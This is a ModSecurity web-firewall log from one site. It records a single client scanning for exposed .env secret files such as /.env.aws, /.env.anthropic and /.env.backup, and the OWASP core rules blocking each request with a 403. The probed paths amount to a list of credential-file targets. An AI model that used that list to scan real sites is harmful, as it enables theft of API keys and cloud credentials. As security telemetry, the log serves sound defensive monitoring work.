[Tue Oct 27 09:07:41.837780 2026] [security2:error] [pid 3238015:tid 3238015] [client 34.140.234.80:42574] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.docker/.env"] [unique_id "auCiHWCe8-MB-b_EgcUqlgAAAB8"]
[Tue Oct 27 09:07:41.902517 2026] [security2:error] [pid 3238221:tid 3238221] [client 34.140.234.80:42594] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.docker/laravel/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.docker/laravel/app/.env"] [unique_id "auCiHeImPdbb84WcZtcWIAAAAAM"]
[Tue Oct 27 09:07:41.902762 2026] [security2:error] [pid 3238221:tid 3238221] [client 34.140.234.80:42594] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.docker/laravel/app/.env"] [unique_id "auCiHeImPdbb84WcZtcWIAAAAAM"]
[Tue Oct 27 09:07:41.903100 2026] [security2:error] [pid 3238221:tid 3238221] [client 34.140.234.80:42594] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.docker/laravel/app/.env"] [unique_id "auCiHeImPdbb84WcZtcWIAAAAAM"]
[Tue Oct 27 09:07:41.905020 2026] [security2:error] [pid 3237991:tid 3237991] [client 34.140.234.80:42632] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env-example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env-example"] [unique_id "auCiHUyUSZ-HOP4isatNDAAAABY"]
[Tue Oct 27 09:07:41.905041 2026] [security2:error] [pid 3237843:tid 3237843] [client 34.140.234.80:42606] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env"] [unique_id "auCiHbL0NGPtr6217jDWhAAAAAA"]
[Tue Oct 27 09:07:41.905178 2026] [security2:error] [pid 3237843:tid 3237843] [client 34.140.234.80:42606] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env"] [unique_id "auCiHbL0NGPtr6217jDWhAAAAAA"]
[Tue Oct 27 09:07:41.905178 2026] [security2:error] [pid 3237991:tid 3237991] [client 34.140.234.80:42632] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env-example"] [unique_id "auCiHUyUSZ-HOP4isatNDAAAABY"]
[Tue Oct 27 09:07:41.905393 2026] [security2:error] [pid 3237843:tid 3237843] [client 34.140.234.80:42606] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env"] [unique_id "auCiHbL0NGPtr6217jDWhAAAAAA"]
[Tue Oct 27 09:07:41.905398 2026] [security2:error] [pid 3237991:tid 3237991] [client 34.140.234.80:42632] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env-example"] [unique_id "auCiHUyUSZ-HOP4isatNDAAAABY"]
[Tue Oct 27 09:07:41.906363 2026] [security2:error] [pid 3237883:tid 3237883] [client 34.140.234.80:42614] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env-sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env-sample"] [unique_id "auCiHSvHqw5XD_QUjlp8-gAAAA4"]
[Tue Oct 27 09:07:41.906497 2026] [security2:error] [pid 3237883:tid 3237883] [client 34.140.234.80:42614] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env-sample"] [unique_id "auCiHSvHqw5XD_QUjlp8-gAAAA4"]
[Tue Oct 27 09:07:41.906715 2026] [security2:error] [pid 3237883:tid 3237883] [client 34.140.234.80:42614] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env-sample"] [unique_id "auCiHSvHqw5XD_QUjlp8-gAAAA4"]
[Tue Oct 27 09:07:41.913375 2026] [security2:error] [pid 3238015:tid 3238015] [client 34.140.234.80:42574] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.anthropic"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.anthropic"] [unique_id "auCiHWCe8-MB-b_EgcUqlwAAAB8"]
[Tue Oct 27 09:07:41.913504 2026] [security2:error] [pid 3238015:tid 3238015] [client 34.140.234.80:42574] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.anthropic"] [unique_id "auCiHWCe8-MB-b_EgcUqlwAAAB8"]
[Tue Oct 27 09:07:41.913759 2026] [security2:error] [pid 3238015:tid 3238015] [client 34.140.234.80:42574] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.anthropic"] [unique_id "auCiHWCe8-MB-b_EgcUqlwAAAB8"]
[Tue Oct 27 09:07:41.979037 2026] [security2:error] [pid 3238221:tid 3238221] [client 34.140.234.80:42594] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.aws"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.aws"] [unique_id "auCiHeImPdbb84WcZtcWIQAAAAM"]
[Tue Oct 27 09:07:41.979279 2026] [security2:error] [pid 3238221:tid 3238221] [client 34.140.234.80:42594] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.aws"] [unique_id "auCiHeImPdbb84WcZtcWIQAAAAM"]
[Tue Oct 27 09:07:41.979632 2026] [security2:error] [pid 3238221:tid 3238221] [client 34.140.234.80:42594] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.aws"] [unique_id "auCiHeImPdbb84WcZtcWIQAAAAM"]
[Tue Oct 27 09:07:41.980530 2026] [security2:error] [pid 3237888:tid 3237888] [client 34.140.234.80:42580] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.backup"] [unique_id "auCiHdlxVzpWq3t5phLIjgAAAA8"]
[Tue Oct 27 09:07:41.980691 2026] [security2:error] [pid 3237888:tid 3237888] [client 34.140.234.80:42580] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.backup"] [unique_id "auCiHdlxVzpWq3t5phLIjgAAAA8"]
[Tue Oct 27 09:07:41.980915 2026] [security2:error] [pid 3237888:tid 3237888] [client 34.140.234.80:42580] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.backup"] [unique_id "auCiHdlxVzpWq3t5phLIjgAAAA8"]
[Tue Oct 27 09:07:41.981251 2026] [security2:error] [pid 3238204:tid 3238204] [client 34.140.234.80:42620] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.bak"] [unique_id "auCiHSK9f-ffgwd-vVTKIAAAAAE"]
[Tue Oct 27 09:07:41.981406 2026] [security2:error] [pid 3238204:tid 3238204] [client 34.140.234.80:42620] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.bak"] [unique_id "auCiHSK9f-ffgwd-vVTKIAAAAAE"]
[Tue Oct 27 09:07:41.981722 2026] [security2:error] [pid 3238204:tid 3238204] [client 34.140.234.80:42620] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.bak"] [unique_id "auCiHSK9f-ffgwd-vVTKIAAAAAE"]
[Tue Oct 27 09:07:41.981921 2026] [security2:error] [pid 3237843:tid 3237843] [client 34.140.234.80:42606] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.development"] [unique_id "auCiHbL0NGPtr6217jDWhQAAAAA"]
[Tue Oct 27 09:07:41.982045 2026] [security2:error] [pid 3237843:tid 3237843] [client 34.140.234.80:42606] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.development"] [unique_id "auCiHbL0NGPtr6217jDWhQAAAAA"]
[Tue Oct 27 09:07:41.982271 2026] [security2:error] [pid 3237843:tid 3237843] [client 34.140.234.80:42606] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.development"] [unique_id "auCiHbL0NGPtr6217jDWhQAAAAA"]
[Tue Oct 27 09:07:41.982632 2026] [security2:error] [pid 3237991:tid 3237991] [client 34.140.234.80:42632] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.dev"] [unique_id "auCiHUyUSZ-HOP4isatNDQAAABY"]
[Tue Oct 27 09:07:41.982778 2026] [security2:error] [pid 3237991:tid 3237991] [client 34.140.234.80:42632] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.dev"] [unique_id "auCiHUyUSZ-HOP4isatNDQAAABY"]
[Tue Oct 27 09:07:41.982991 2026] [security2:error] [pid 3237991:tid 3237991] [client 34.140.234.80:42632] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.dev"] [unique_id "auCiHUyUSZ-HOP4isatNDQAAABY"]
[Tue Oct 27 09:07:41.983903 2026] [security2:error] [pid 3237883:tid 3237883] [client 34.140.234.80:42614] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dist"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.dist"] [unique_id "auCiHSvHqw5XD_QUjlp8-wAAAA4"]
[Tue Oct 27 09:07:41.984136 2026] [security2:error] [pid 3237883:tid 3237883] [client 34.140.234.80:42614] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.dist"] [unique_id "auCiHSvHqw5XD_QUjlp8-wAAAA4"]
[Tue Oct 27 09:07:41.984456 2026] [security2:error] [pid 3237883:tid 3237883] [client 34.140.234.80:42614] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.dist"] [unique_id "auCiHSvHqw5XD_QUjlp8-wAAAA4"]
[Tue Oct 27 09:07:41.989401 2026] [security2:error] [pid 3238015:tid 3238015] [client 34.140.234.80:42574] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.docker"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.docker"] [unique_id "auCiHWCe8-MB-b_EgcUqmAAAAB8"]
[Tue Oct 27 09:07:41.989561 2026] [security2:error] [pid 3238015:tid 3238015] [client 34.140.234.80:42574] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.docker"] [unique_id "auCiHWCe8-MB-b_EgcUqmAAAAB8"]
[Tue Oct 27 09:07:41.989817 2026] [security2:error] [pid 3238015:tid 3238015] [client 34.140.234.80:42574] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.docker"] [unique_id "auCiHWCe8-MB-b_EgcUqmAAAAB8"]
[Tue Oct 27 09:07:42.056457 2026] [security2:error] [pid 3238221:tid 3238221] [client 34.140.234.80:42594] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.example"] [unique_id "auCiHuImPdbb84WcZtcWIgAAAAM"]
[Tue Oct 27 09:07:42.056753 2026] [security2:error] [pid 3238221:tid 3238221] [client 34.140.234.80:42594] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.example"] [unique_id "auCiHuImPdbb84WcZtcWIgAAAAM"]
[Tue Oct 27 09:07:42.057125 2026] [security2:error] [pid 3238221:tid 3238221] [client 34.140.234.80:42594] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.example"] [unique_id "auCiHuImPdbb84WcZtcWIgAAAAM"]
